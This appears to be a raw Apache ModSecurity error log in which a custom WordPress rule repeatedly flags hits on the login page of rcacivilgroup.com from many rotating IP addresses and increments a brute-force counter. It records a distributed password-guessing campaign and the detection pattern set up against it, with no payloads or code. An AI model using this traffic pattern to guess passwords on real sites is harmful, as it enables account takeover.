[Tue May 19 07:51:30.821972 2026] [:error] [pid 38699:tid 38747] [client 94.76.169.164:9351] [client 94.76.169.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumAr--Adsw_P-dthZCtQAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:33.291466 2026] [:error] [pid 38697:tid 38729] [client 88.148.93.114:62169] [client 88.148.93.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.114, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumBaXP9pP6Kgt-msTGDAAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:35.729069 2026] [:error] [pid 38697:tid 38735] [client 94.76.169.184:34447] [client 94.76.169.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.184, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumB6XP9pP6Kgt-msTGYQAAABQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:38.183028 2026] [:error] [pid 41573:tid 41597] [client 88.148.126.54:20067] [client 88.148.126.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.54, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumCi1A2bd6JDSW9RZAbQAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:40.759800 2026] [:error] [pid 46896:tid 46919] [client 94.76.142.106:31075] [client 94.76.142.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumDKCHyzL3Ci9LGE3uOAAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:43.319174 2026] [:error] [pid 38699:tid 38760] [client 94.76.159.40:13347] [client 94.76.159.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumD7--Adsw_P-dthZCzAAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:45.766660 2026] [:error] [pid 41573:tid 41596] [client 94.76.142.36:50543] [client 94.76.142.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.36, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumES1A2bd6JDSW9RZAcAAAARU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:48.193718 2026] [:error] [pid 38699:tid 38746] [client 88.148.126.219:18115] [client 88.148.126.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumFL--Adsw_P-dthZCzgAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:50.594137 2026] [:error] [pid 46896:tid 46907] [client 88.148.93.88:55899] [client 88.148.93.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumFqCHyzL3Ci9LGE3uPgAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:53.060955 2026] [:error] [pid 46815:tid 46841] [client 94.76.169.164:20919] [client 94.76.169.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumGSPnRhJOmA06LgoJUQAAAVg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:55.484723 2026] [:error] [pid 38699:tid 38763] [client 94.76.142.110:12655] [client 94.76.142.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.110, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumG7--Adsw_P-dthZC1QAAAFU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:57.929540 2026] [:error] [pid 38814:tid 38829] [client 88.148.126.213:12147] [client 88.148.126.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumHQvkKuBwP0epzWdglwAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:00.381728 2026] [:error] [pid 38699:tid 38748] [client 88.148.93.170:39679] [client 88.148.93.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumIL--Adsw_P-dthZC2wAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:02.884972 2026] [:error] [pid 46815:tid 46820] [client 94.76.159.26:43901] [client 94.76.159.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumIiPnRhJOmA06LgoJVQAAAUM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:05.418691 2026] [:error] [pid 38697:tid 38729] [client 159.253.248.236:30197] [client 159.253.248.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumJaXP9pP6Kgt-msTGdQAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:07.951524 2026] [:error] [pid 38697:tid 38739] [client 94.76.159.155:52217] [client 94.76.159.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.155, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumJ6XP9pP6Kgt-msTGegAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:10.442677 2026] [:error] [pid 38697:tid 38715] [client 88.148.93.153:30063] [client 88.148.93.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.153, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumKqXP9pP6Kgt-msTGfQAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:12.972404 2026] [:error] [pid 38697:tid 38731] [client 94.76.169.199:36539] [client 94.76.169.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumLKXP9pP6Kgt-msTGfwAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:15.428194 2026] [:error] [pid 38697:tid 38718] [client 88.148.93.126:53661] [client 88.148.93.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumL6XP9pP6Kgt-msTGggAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:17.895756 2026] [:error] [pid 46815:tid 46829] [client 94.76.169.240:38381] [client 94.76.169.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumMSPnRhJOmA06LgoJWAAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:20.449622 2026] [:error] [pid 38699:tid 38756] [client 94.76.169.38:50655] [client 94.76.169.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumNL--Adsw_P-dthZC5AAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:22.894125 2026] [:error] [pid 38697:tid 38726] [client 159.253.248.218:54245] [client 159.253.248.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumNqXP9pP6Kgt-msTG_AAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:25.370019 2026] [:error] [pid 38705:tid 38776] [client 88.148.126.50:55875] [client 88.148.126.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.50, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumOcg5dNOZ5umN9lsoSQAAAIc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:27.840175 2026] [:error] [pid 38699:tid 38752] [client 94.76.169.22:10635] [client 94.76.169.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.22, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumO7--Adsw_P-dthZC5wAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:31.434293 2026] [:error] [pid 38814:tid 38835] [client 94.76.159.184:13267] [client 94.76.159.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.184, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumPwvkKuBwP0epzWdgngAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:33.885067 2026] [:error] [pid 38697:tid 38734] [client 94.76.169.183:38781] [client 94.76.169.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.183, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumQaXP9pP6Kgt-msTHBwAAABM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:36.670934 2026] [:error] [pid 41573:tid 41589] [client 62.106.67.164:13331] [client 62.106.67.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumRC1A2bd6JDSW9RZAfgAAAQ4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:39.157077 2026] [:error] [pid 46815:tid 46833] [client 94.76.169.129:47707] [client 94.76.169.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.129, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumRyPnRhJOmA06LgoJYQAAAVA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:41.745450 2026] [:error] [pid 38699:tid 38756] [client 88.148.126.242:48287] [client 88.148.126.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.242, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumSb--Adsw_P-dthZC7AAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:44.191604 2026] [:error] [pid 41573:tid 41597] [client 94.76.169.83:10657] [client 94.76.169.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumTC1A2bd6JDSW9RZAhAAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:46.648643 2026] [:error] [pid 38699:tid 38755] [client 62.106.67.135:49233] [client 62.106.67.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.135, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumTr--Adsw_P-dthZC7wAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:49.112167 2026] [:error] [pid 38814:tid 38818] [client 94.76.142.34:11241] [client 94.76.142.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumUQvkKuBwP0epzWdgqwAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:51.536443 2026] [:error] [pid 38697:tid 38727] [client 94.76.169.39:27601] [client 94.76.169.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumU6XP9pP6Kgt-msTHEAAAAAw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:53.973780 2026] [:error] [pid 38697:tid 38726] [client 88.148.93.126:54279] [client 88.148.93.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumVaXP9pP6Kgt-msTHEwAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:56.409511 2026] [:error] [pid 38705:tid 38781] [client 62.106.67.93:53875] [client 62.106.67.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.93, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumWMg5dNOZ5umN9lsoUQAAAIw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:52:58.943224 2026] [:error] [pid 38697:tid 38731] [client 94.76.159.116:37815] [client 94.76.159.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.116, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumWqXP9pP6Kgt-msTHGAAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:01.425006 2026] [:error] [pid 41573:tid 41583] [client 94.76.159.116:43015] [client 94.76.159.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.116, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumXS1A2bd6JDSW9RZAiQAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:04.016404 2026] [:error] [pid 38697:tid 38721] [client 88.148.93.61:38379] [client 88.148.93.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumYKXP9pP6Kgt-msTHOgAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:07.577531 2026] [:error] [pid 38699:tid 38745] [client 88.148.126.50:42549] [client 88.148.126.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.50, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumY7--Adsw_P-dthZDAQAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:10.068038 2026] [:error] [pid 46815:tid 46829] [client 94.76.159.83:45733] [client 94.76.159.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumZiPnRhJOmA06LgoJbQAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:12.594106 2026] [:error] [pid 38699:tid 38760] [client 88.148.126.176:61193] [client 88.148.126.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.176, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumaL--Adsw_P-dthZDBAAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:15.100727 2026] [:error] [pid 38699:tid 38749] [client 88.148.93.194:59123] [client 88.148.93.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.194, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aguma7--Adsw_P-dthZDBQAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:17.609203 2026] [:error] [pid 38697:tid 38723] [client 94.76.159.138:56491] [client 94.76.159.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumbaXP9pP6Kgt-msTHPQAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:20.065589 2026] [:error] [pid 38699:tid 38762] [client 88.148.85.11:43823] [client 88.148.85.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumcL--Adsw_P-dthZDCAAAAFQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:22.548629 2026] [:error] [pid 38699:tid 38750] [client 159.253.248.197:56977] [client 159.253.248.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.197, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumcr--Adsw_P-dthZDCgAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:25.002554 2026] [:error] [pid 38699:tid 38744] [client 159.253.248.38:24615] [client 159.253.248.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumdb--Adsw_P-dthZDDAAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:27.570947 2026] [:error] [pid 38814:tid 38836] [client 88.148.85.87:52011] [client 88.148.85.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumdwvkKuBwP0epzWdguAAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:30.058329 2026] [:error] [pid 46896:tid 46917] [client 88.148.126.43:59727] [client 88.148.126.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.43, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumeqCHyzL3Ci9LGE3uWgAAAZM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:32.492781 2026] [:error] [pid 38705:tid 38772] [client 88.148.93.15:20837] [client 88.148.93.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumfMg5dNOZ5umN9lsoZAAAAIM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:34.983456 2026] [:error] [pid 38697:tid 38731] [client 88.148.85.158:27953] [client 88.148.85.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumfqXP9pP6Kgt-msTHWAAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:37.539308 2026] [:error] [pid 38697:tid 38735] [client 159.253.248.101:60527] [client 159.253.248.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumgaXP9pP6Kgt-msTHbAAAABQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:40.046109 2026] [:error] [pid 38699:tid 38760] [client 88.148.93.13:28879] [client 88.148.93.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.13, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumhL--Adsw_P-dthZDDgAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:42.597300 2026] [:error] [pid 38705:tid 38785] [client 94.76.142.148:45173] [client 94.76.142.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumhsg5dNOZ5umN9lsoaQAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:45.102801 2026] [:error] [pid 38697:tid 38718] [client 88.148.85.80:44305] [client 88.148.85.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumiaXP9pP6Kgt-msTHewAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
